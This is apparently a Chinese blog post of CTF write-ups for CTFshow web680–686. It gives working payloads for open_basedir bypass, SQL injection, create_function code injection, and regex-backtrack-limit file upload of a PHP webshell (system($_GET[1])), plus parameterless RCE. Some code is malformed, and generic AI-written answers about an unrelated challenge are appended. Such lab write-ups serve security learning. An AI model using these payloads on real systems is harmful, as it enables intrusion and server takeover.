CTFSHOW web680-780(大赛原题)

[更新中]

web680

类型:open_basedir 绕过

提示post接收code参数,查看phpinfo();看哪些命令被禁用

剩下的函数用来命令执行

payload: ?code=var_dump(scandir('.'));

code=highlight_file('secret_you_never_know');

以上为非预期解,真正的解应该是使用symlink()得到文件内容。

payload:先创建

<?php
mkdir abc/abc/abc/abc
symlink("abc/abc/abc/abc","tmplink"); 
symlink("tmplink/../../../etc/passwd", "exploit"); 
unlink("tmplink"); 
mkdir("tmplink");

web 681 (2017年全国大学生信息安全竞赛-wanna to see your hat?)

类型:源码泄露 .svn可以获得源码

dirsearch扫描:dirsearch -u http://d8bd48e1-56ad-4fb3-ba03-3072811794c8.challenge.ctf.show/ -t 4 -e php

大概十分钟不到就能扫出来

获得源码接下来代码审计

check.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-09-24 14:58:16
# @Last Modified by:   h1xa
# @Last Modified time: 2021-09-24 16:04:49
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include "common.php";

session_start();

if (isset($_POST["name"])){
  $name = str_replace("'", "", trim(waf($_POST["name"])));//这里会将传入的参数去单引号,并且要过waf。
  if (strlen($name) > 11){ //这里长度不能大于11
    echo("<script>alert('name too long')</script>");
  }else{
    $sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";  //这里存在sql注入,要点是
    echo $sql;
    $db = new db();
    $result = $db->select_one_array($sql);
    if ($result[0]){  //只要传入为true就会返回flag
      $_SESSION['hat'] = 'black';
      echo 'good job';
    }else{  
    $_SESSION['hat'] = 'green';
    }
    header("Location: index.php");
  }

}

针对waf可以使用工具进行模糊测试看他过滤了哪些字符。得出空格被过滤可以使用/**/绕过

单引号过滤可以使用\'绕过

payload:post: name=/**/or(1)%23\

web682(hctf2017-babycrack)

类型:js混淆,密码碰撞

看来需要输入flag进行校验,直接看js代码

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){(3 a(){7{(3 b(2){9((\'\'+(2/2)).5!==1||2%g===0){(3(){}).8(\'4\')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();',17,17,'||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'),0,{}));


var c2n  = c =>{
	if(c.length>1){
		return 0
	}

	if(c.charCodeAt()>0x60 && c.charCodeAt()<0x67){
		return c.charCodeAt()-0x57
	}

	if(parseInt(c)>0){
		return parseInt(c)
	}

	return 0;
}

var s2n2su = s =>{
	r=0
	for (var i = s.length - 1; i >= 0; i--) {
		r+=c2n(s[i])
	}
	return r
}

function test(){
	var m=document.getElementById("message").value;
	var e = 'error';
	if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
		return alert(e)
	}
	var start = m.substring(0,8);
	
	if(start!=='ctfshow{'){
		return alert(e);
	}
	if(m.substring(m.length,m.length-1)!=="}"){
		return alert(e);
	}
	var s = m.substring(8,m.length-1)
	if(s.length!==36){
		return alert(e);
	}
	var k = s.split("-")
	if(k.length!==5){
		return alert(e)
	}
	if(s2n2su(k[0])!==63){
		return alert(e)
	}
	if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
		return alert(e)
	}

	if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
		return alert(e)
	}

	
	
	if(parseInt(k[1][0])!==(c2n('a')-1)){
		return alert(e)
	}

	if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
		return alert(e)
	}

	if(k[2][1]!=='e'){
		return alert(e)
	}
	
	if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){
		return alert(e)
	}


	if(parseInt(k[3][0])!==(c2n('a')-1)){
		return alert(e)
	}

	if(parseInt(k[3][1])!==parseInt(k[3][3])){
		return alert(e)
	}

	if(parseInt(k[3][3])*2+c2n('a')!==0x12){
		return alert(e)
	}

	if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){
		return alert(e)
	}

	if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
		return alert(e)
	}
	
	alert('you are right')
}




const Base64 = {
            _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
            encode: function (e) {
                var t = "";
                var n, r, i, s, o, u, a;
                var f = 0;
                e = Base64._utf8_encode(e);
                while (f < e.length) {
                    n = e.charCodeAt(f++);
                    r = e.charCodeAt(f++);
                    i = e.charCodeAt(f++);
                    s = n >> 2;
                    o = (n & 3) << 4 | r >> 4;
                    u = (r & 15) << 2 | i >> 6;
                    a = i & 63;
                    if (isNaN(r)) {
                        u = a = 64
                    } else if (isNaN(i)) {
                        a = 64
                    }
                    t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
                }
                return t
            },
            decode: function (e) {
                var t = "";
                var n, r, i;
                var s, o, u, a;
                var f = 0;
                e = e.replace(/[^A-Za-z0-9+/=]/g, "");
                while (f < e.length) {
                    s = this._keyStr.indexOf(e.charAt(f++));
                    o = this._keyStr.indexOf(e.charAt(f++));
                    u = this._keyStr.indexOf(e.charAt(f++));
                    a = this._keyStr.indexOf(e.charAt(f++));
                    n = s << 2 | o >> 4;
                    r = (o & 15) << 4 | u >> 2;
                    i = (u & 3) << 6 | a;
                    t = t + String.fromCharCode(n);
                    if (u != 64) {
                        t = t + String.fromCharCode(r)
                    }
                    if (a != 64) {
                        t = t + String.fromCharCode(i)
                    }
                }
                t = Base64._utf8_decode(t);
                return t
            },
            _utf8_encode: function (e) {
                e = e.replace(/rn/g, "n");
                var t = "";
                for (var n = 0; n < e.length; n++) {
                    var r = e.charCodeAt(n);
                    if (r < 128) {
                        t += String.fromCharCode(r)
                    } else if (r > 127 && r < 2048) {
                        t += String.fromCharCode(r >> 6 | 192);
                        t += String.fromCharCode(r & 63 | 128)
                    } else {
                        t += String.fromCharCode(r >> 12 | 224);
                        t += String.fromCharCode(r >> 6 & 63 | 128);
                        t += String.fromCharCode(r & 63 | 128)
                    }
                }
                return t
            },
            _utf8_decode: function (e) {
                var t = "";
                var n = 0;
                var r = c1 = c2 = 0;
                while (n < e.length) {
                    r = e.charCodeAt(n);
                    if (r < 128) {
                        t += String.fromCharCode(r);
                        n++
                    } else if (r > 191 && r < 224) {
                        c2 = e.charCodeAt(n + 1);
                        t += String.fromCharCode((r & 31) << 6 | c2 & 63);
                        n += 2
                    } else {
                        c2 = e.charCodeAt(n + 1);
                        c3 = e.charCodeAt(n + 2);
                        t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
                        n += 3
                    }
                }
                return t
            }
        }



        function st3(srcString) {
            if (!srcString) {
                return '';
            }

            let BASE32CHAR = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
            let i = 0;
            let index = 0;
            let digit = 0;
            let currByte;
            let nextByte;
            let retrunString = '';
            srcString = Base64._utf8_encode(srcString);

            for (let i = 0; i < srcString.length;) {
                currByte = (srcString.charCodeAt(i) >= 0) ? srcString.charCodeAt(i)
                    : (srcString.charCodeAt(i) + 256);

                if (index > 3) {
                    if ((i + 1) < srcString.length) {
                        nextByte = (srcString.charCodeAt(i + 1) >= 0)
                            ? srcString.charCodeAt(i + 1)
                            : (srcString.charCodeAt(i + 1) + 256);
                    } else {
                        nextByte = 0;
                    }

                    digit = currByte & (0xFF >> index);
                    index = (index + 5) % 8;
                    digit <<= index;
                    digit |= (nextByte >> (8 - index));
                    i++;
                } else {
                    digit = (currByte >> (8 - (index + 5))) & 0x1F;
                    index = (index + 5) % 8;

                    if (index == 0) {
                        i++;
                    }
                }

                retrunString = retrunString + BASE32CHAR.charAt(digit);
            }
            while((retrunString.length % 8) !== 0){
                retrunString += "=";
            }

            return retrunString;
        }

下面这串代码就是flag加密后的值,但是这串值是不可逆向推出的,所以他给出了每flag分段加密的数据

test(){
	var m=document.getElementById("message").value;
	var e = 'error';
	if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
		return alert(e)
if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
		return alert(e) //用同样的加密方法,只需要将0-9abcdef这些数字遍历组合推出的加密字符相等就说明他们呢相等,下面的几段同理,最后拼接在一起就行了

脚本:

后期补上

web683

类型:php特性,弱类型

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-09-24 17:34:28
# @Last Modified by:   h1xa
# @Last Modified time: 2021-09-24 20:32:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

   error_reporting(0);
   include "flag.php";
   if(isset($_GET['秀'])){
       if(!is_numeric($_GET['秀'])){
          die('必须是数字');
       }else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
          die('你太短了');
       }else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
           die('你太长了');
       }else{
           sleep((int)$_GET['秀']);
           echo $flag;
       }
       echo '<hr>';
   }
   highlight_file(__FILE__);

秀要大于60 * 60 * 24 * 30 * 2,同时int后时间不能太久sleep((int)$_GET['秀']);

payload:payload:秀=0.7e7 =7000000 int后=0.7

web684(code breaking-easy_function 赣网杯)

类型:正则绕过,创造函数

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) { //传入的参数不能有a-z0-9,这里只能识别一行只需要换行就能绕过正则
    show_source(__FILE__);
} else {
    $action('', $arg);  //这里可以使用create_function() 函数
}

payload:?action=%5ccreate_function&arg=;}phpinfo();/*

?action=%5ccreate_function&arg=;}%20eval($_POST['1']);/*

web685

类型:文件上传,条件竞争

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}  1

文件上传的正则绕过:

<\?.*[(`;?>].* 正则假设匹配的输入是 <?php phpinfo();//aaaaa

因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的;则匹配上[(`;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万 ,这时候preg_match返回的非1和0,而是false。

结论:我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

payload:

import requests

url = "http://efd58d64-d86f-4e5e-aa8b-df56925894df.challenge.ctf.show/"

files = {
    'file' : b'<?php system($_GET[1]);//'+b'a'*1000000 
}

res = requests.post(url=url,files=files,allow_redirects=False)

print(res.headers)

web686

类型:无参rce

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);

如果传进去的值是传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空。如果替换后的字符串只剩下 ; ,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,那么就会执行phpinfo()

所以我们也可以传入嵌套的无参函数。比如传入a(b(c()));,第一次匹配后,就剩a(b());,再匹配两次,就只剩下了 ; ,最后a(b(c()))就会被eval执行。

详细可以看初探无参数RCE_noViC4的博客-CSDN博客_无参rce

payload:?code=eval(end(current(get_defined_vars())));&get=system('cat /secret_you_never_know');

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值